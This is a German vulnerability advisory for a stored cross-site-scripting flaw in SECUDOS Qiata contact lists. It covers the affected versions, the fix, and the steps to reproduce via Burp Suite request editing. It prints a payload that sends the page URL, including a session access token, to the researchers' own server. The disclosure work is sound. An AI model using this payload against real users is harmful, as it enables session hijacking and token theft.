Cross-Site-Scripting in Qiata (CVE xxx)

Betroffenes Produkt: Qiata von SECUDOS Version 4.00.00–4.17.00
CVSS-Bewertung (v3.1): 6.4 (Medium)
Zugewiesene CVE: in Erstellung
Empfehlung: Update zu Version 4.18.00
Credit: Nina Wagner von der MindBytes GmbH

Die Anwendung verwendet Benutzereingaben ohne Validierung, um Inhalte in der Website zu generieren. Das kann genutzt werden, um eigenen JavaScript-Code in die Anwendung einzuschleusen. In Cross-Site-Scripting-Angriffen (XSS) kann darüber schädlicher Code im Browser von anderen Benutzern ausgeführt werden.

Denkbare Angriffsszenarien sind beispielsweise das Abgreifen von Zugriffstoken, was die Übernahme von Benutzersitzungen zur Folge hat, das Ausführen von Aktionen im Kontext von anderen Benutzern sowie eine manipulierte Darstellung der Seite, z. B. um Zugangsdaten abzufangen.

Für einen erfolgreichen Angriff benötigt man Zugriff auf ein Mitarbeiter-Benutzerkonto für die Anwendung. Zudem müssen andere Benutzer die geteilten Kontaktlisten verwenden, um die Ausführung des eingeschleusten JavaScript-Codes auszulösen. Das ist über zwei Wege möglich, wie nachfolgend beschrieben.

Benutzer der Anwendung können JavaScript-Code über eine Kontaktliste in die Anwendung einschleusen. Der Code wird dann bei der Verwendung der folgenden beiden Funktionen ausgeführt:

1. Menüpunkt Team Transfer → Aktion → Empfänger exportieren → Kontaktliste
2. Menüpunkt Team Transfer → Bereich Teilnehmer → Teilnehmer hinzufügen → bei Eingabe eines Suchbegriffs, der im eingefügten Code enthalten ist

Hinterlegen von JavaScript-Code in der Kontaktliste

Über den Namen von Kontaktlisten können Benutzer JavaScript-Code hinterlegen. Dabei findet eine clientseitige Eingabevalidierung statt, durch die die Länge der Eingabe über den Browser begrenzt ist.

Da die Länge der Eingabe serverseitig allderings nicht überprüft wird, lassen sich durch folgendes Vorgehen auch längere Eingaben hinterlegen:

1. Eingabe eines akzeptierten Wertes wie MindBytes im Browser (rot markiertes Feld in Abbildung oben)
2. Abfangen des HTTP-Requests, der beim Klicken auf Erstelle ausgelöst wird, in Burp Suite (Proxy, Abbildung unten)
3. Editieren des Namens in contactListeName, um MindBytes durch XSS-Payload zu ersetzen

 Nachfolgend werden die folgenden beiden XSS-Payloads verwendet:

1) Öffnet ein Alert-Pop-up mit dem Wert von document.location:
<img src=x onerror=alert(document.location)>

2) Sendet den Inhalt von document.location als URL-Bestandteil an unseren Server:
<img src="x" onerror="window.location.href='https://unsere IP-Adresse:8000/documentlocation=' + encodeURIComponent(document.location)">

Die beiden Fälle, in denen der Code aus den XSS-Payloads ausgeführt wird, sind nachfolgend beschrieben.

Code-Ausführung Fall 1: Exportieren der Kontaktliste

Betroffene Stelle in der Anwendung: Menüpunkt Team Transfer → Aktion → Empfänger exportieren → Kontaktliste

Bei Klicken auf das Drop-down-Menü im Feld Ziel wird der eingeschleuste Code ausgeführt, siehe nachfolgende Abbildung. Gleichzeitig wird durch den Ladevorgang der Liste die zweite Payload im Hintergrund ausgeführt. Darüber wird der Wert aus document.location, der insbesondere auch ein Access Token für die authentifizierte Benutzersitzung enthält, an unseren Server gesendet, siehe zweite Abbildung.

Bei Kenntnis des Access Tokens ist die Übernahme der zugehörigen Benutzer-Sitzung und folglich Zugriff auf die Anwendung im Namen des Benutzers möglich. Wäre das Access Token nicht in der URL enthalten gewesen, wäre es aus dem Session Storage auslesbar gewesen, wo es ebenfalls gespeichert wird.

Code-Ausführung Fall 2: Hinzufügen von Teilnehmern

Betroffene Stelle in der Anwendung: Menüpunkt Team Transfer → Bereich Teilnehmer → Teilnehmer hinzufügen → Eingabe eines Suchbegriffs, der im eingefügten Code enthalten ist

Der JavaScript-Code wird bei der Eingabe eines Suchbegriffs, der im eingefügten Code enthalten ist, analog zu ersten Fall ausgeführt.